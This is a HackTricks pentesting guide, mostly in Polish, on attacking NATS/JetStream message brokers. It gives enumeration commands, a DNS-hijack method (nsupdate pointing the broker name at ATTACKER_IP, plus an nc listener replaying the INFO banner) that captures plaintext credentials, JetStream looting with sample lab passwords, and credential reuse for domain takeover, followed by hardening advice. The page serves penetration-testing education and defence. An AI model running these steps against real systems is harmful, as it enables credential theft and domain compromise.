4222 - Pentesting NATS / JetStream

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Basic Information

NATS to wysokowydajna magistrala komunikatów, która używa prostego tekstowego protokołu: serwer transmituje baner JSON INFO { ... } natychmiast po połączeniu TCP, a klient odpowiada ramką CONNECT {"user":"USERNAME","pass":"PASSWORD",...} po której następują opcjonalne polecenia PING/PUB/SUB. JetStream dodaje prymitywy trwałości (Streams & Consumers) na tym samym porcie TCP (4222/tcp). TLS i uwierzytelnianie są opcjonalne, więc wiele wewnętrznych wdrożeń działa z plaintext AUTH.

  • Default port: 4222/tcp (4223+ for clustered routes)
  • Stock banner fields: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeration

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

Ramka INFO może być również pobrana ręcznie:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Zainstaluj oficjalne CLI (Go ≥1.21) dla głębszej interakcji:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Niepowodzenia uwierzytelniania natychmiast wywołują nats: Authorization Violation, więc prawidłowe creds są wymagane do jakiegokolwiek sensownego RPC.

Przechwytywanie poświadczeń przez DNS/podszywanie się pod usługę

  • Zidentyfikuj przestarzałe wpisy AD DNS dla nazwy hosta brokera (np. nats-svc.domain.local). Jeśli rekord zwraca NXDOMAIN, użytkownik domeny o niskich uprawnieniach może go odtworzyć dzięki domyślnym dynamic-update ACLs. Zobacz AD DNS Records abuse dla kontekstu.
  • Zarejestruj nazwę hosta na kontrolowanym przez atakującego IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Sklonuj prawidłowy banner raz, a następnie odtwórz go dla każdego łączącego się klienta. NATS ufa pierwszej linii INFO, którą zobaczy, więc wystarczy przepuścić ją przez listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • As soon as an internal client resolves the hijacked name, it will emit a plaintext CONNECT frame containing the user / pass pair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, even nc is enough to harvest secrets.
  • Dla dłuższych angażów uruchom oficjalny serwer lokalnie (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). Logi TRACE już pokazują nazwy użytkowników; usunięcie redaction helper lub podsłuchanie ruchu przy użyciu Wireshark ujawnia pełne hasło.

JetStream looting & password hunting

Gdy odzyskasz jakieś poświadczenie (np. Dev_Account_A), zapisz je jako kontekst CLI, aby nie przepisywać go ponownie:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

Odkrywanie JetStream zwykle przebiega według tego schematu:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Zespoły streamingowe często logują zdarzenia uwierzytelniania do tematów takich jak logs.auth. Jeśli deweloperzy zapisują surowy JSON w strumieniu JetStream, payloady mogą zawierać plaintext AD usernames and passwords:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Przechowywane sekrety można następnie odtworzyć wobec usług obsługujących wyłącznie Kerberos za pomocą netexec smb DC01 -u USER -p PASS -k, co umożliwia pełne przejęcie domeny.

Wzmocnienie i wykrywanie

  • Wymuś TLS (tls, tls_required, or mTLS via nkey/creds). Bez szyfrowania INFO/CONNECT leaks credentials każdemu znajdującemu się on-path.
  • Określ, kto może aktualizować DNS – deleguj rekordy serwisowe do dedykowanych kont i audytuj Event IDs 257/252 dla nazw hostów wysokiej wartości. Połącz to z scavenging alerts, aby brakujące nazwy brokerów nie mogły być cicho ponownie przejęte.
  • Wyłącz credential logging. Oczyść secrets przed publikacją do subjects, ustaw limity retencji/wieku JetStream i stosuj deny_delete=false tylko dla zaufanych operatorów.
  • Monitoruj anomalie banerów – powtarzające się krótkotrwałe połączenia, przekroczenia czasu uwierzytelniania, lub INFO banners, które nie pasują do zatwierdzonego szablonu, sugerują podszyte serwery.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks